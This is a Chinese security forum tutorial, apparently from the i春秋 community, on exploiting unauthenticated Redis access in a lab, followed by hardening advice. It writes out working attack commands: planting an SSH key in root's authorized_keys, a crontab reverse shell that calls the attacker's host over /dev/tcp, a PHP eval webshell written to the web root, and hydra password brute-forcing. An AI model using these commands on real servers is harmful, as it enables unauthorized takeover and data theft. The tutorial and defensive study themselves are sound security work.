用户
搜索

[二进制安全] redis未授权访问

  • TA的每日心情

    2018-11-9 13:27
  • 签到天数: 145 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋-核心白帽

    Rank: 4

    2

    主题

    129

    帖子

    595

    魔法币
    收听
    1
    粉丝
    0
    注册时间
    2015-11-20
    发表于 2018-3-19 14:08:36 37219
    redis介绍(来自百度百科)
    Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。


    漏洞介绍
    Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务

    Redis安全漏洞影响
    一旦入侵成功,Redis数据会丢失,攻击者可直接添加账号用于ssh远程登录控制服务器,会给用户的 Redis 运行环境以及 Linux 主机造成安全风险,引发重要数据删除、泄露或加密勒索事件发生。

    redis_1.png


    环境搭建

    下载redis

    Wget http://download.redis.io/releases/redis-2.6.14.tar.gz
    解压
    tar zxvf redis-2.6.14.tar.gz
    cd redis-2.6.14
    编译
    make
    redis_2.png
    cd src
    安装
    make install
    启动
    redis-server &
    连接测试
    redis-cli


    redis_3.png
    漏洞验证
    redis默认使用的是6379端口,可以使用nmap来验证这个漏洞

    Nmap -A -p 6379 –script redis-info 192.168.10.129
    redis_4.png
    漏洞利用
    获取敏感信息

    Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。

    redis-cli -h 漏洞服务器IP
    info

    redis_5.png

    可以看到Redis的版本和服务器上内核版本信息,如果是新版的Redis2.8以后的版本还可以看到Redis配置文件的绝对路径

    写入SSH公钥,获取操作系统权限原理
    在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

    利用条件
    1.redis对外开放,且未授权访问(默认配置)
    2.服务器的ssh对外开放,可通过key登录
    攻击详情
    生成公钥
    在攻击电脑上生成自己的公钥,一直按回车不用输入任何东西

    ssh-keygen -t rsa
    redis_6.png
    将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    cat /root/.ssh/key.txt | ./redis-cli -h 漏洞服务器IP -x set xxx
    redis_7.png

    连接漏洞服务器
    redis-cli -h 漏洞服务器IP
    设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    save
    redis_8.png
    使用SSH连接漏洞服务器
    ssh 漏洞服务器IP
    redis_9.png
    可以看到不用密码就可以直接远程登录

    利用crontab反弹shell
    端口监听

    在攻击者服务器上监听一个端口(任意端口)
    nc -lvnp 4444


    攻击详情
    连接redis,写入反弹shell
    redis-cli -h 192.168.152.128
    set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n"
    config set dir /var/spool/cron
    config set dbfilename root
    save
    1分钟后客户端这边收到centos的反弹shell

    redis_10.png

    获取web服务的webshell
    当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。
    redis-cli -h 192.168.152.128
    config set dir /var/www/html
    set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
    config set dbfilename webshell.php
    save
    注意:要知道web服务器的绝对路径

    利用hydra暴力破解redis的密码
    使用hydra工具可以对redis进行暴力破解
    hydra -P passwd.txt redis://漏洞服务器IP

    修复方案
    禁止一些高危命令(重启redis才能生效)
    修改 redis.conf 文件,禁用远程修改 DB 文件地址
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    或者通过修改redis.conf文件,改变这些高危命令的名称
    rename-command FLUSHALL "name1"
    rename-command CONFIG "name2"
    rename-command EVAL "name3"

    以低权限运行 Redis 服务(重启redis才能生效)
    为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆groupadd -r redis && useradd -r -g redis redis

    为 Redis 添加密码验证(重启redis才能生效)requirepass mypassword
    (注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

    禁止外网访问 Redis(重启redis才能生效)修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
    bind 127.0.0.1
    在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

    修改默认端口
    修改配置文件redis.conf文件

    Port 6379
    默认端口是6379,可以改变成其他端口(不要冲突就好)

    保证 authorized_keys 文件的安全
    为了保证安全,您应该阻止其他用户添加新的公钥。
    将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

    chmod 400 ~/.ssh/authorized_keys
    为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

    chattr +i ~/.ssh/authorized_keys
    然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:

    chattr +i ~/.ssh
    设置防火墙策略
    如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

    安全补丁
    不定期关注最新软件版本,并升级redis到最新版,防止新漏洞被利用。

    参考链接
    https://thief.one/2017/12/08/1/







    改天去试试
    使用道具 举报 回复
    发表于 2018-3-19 16:16:20
    感谢分享,尝试一下
    使用道具 举报 回复
    支持一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册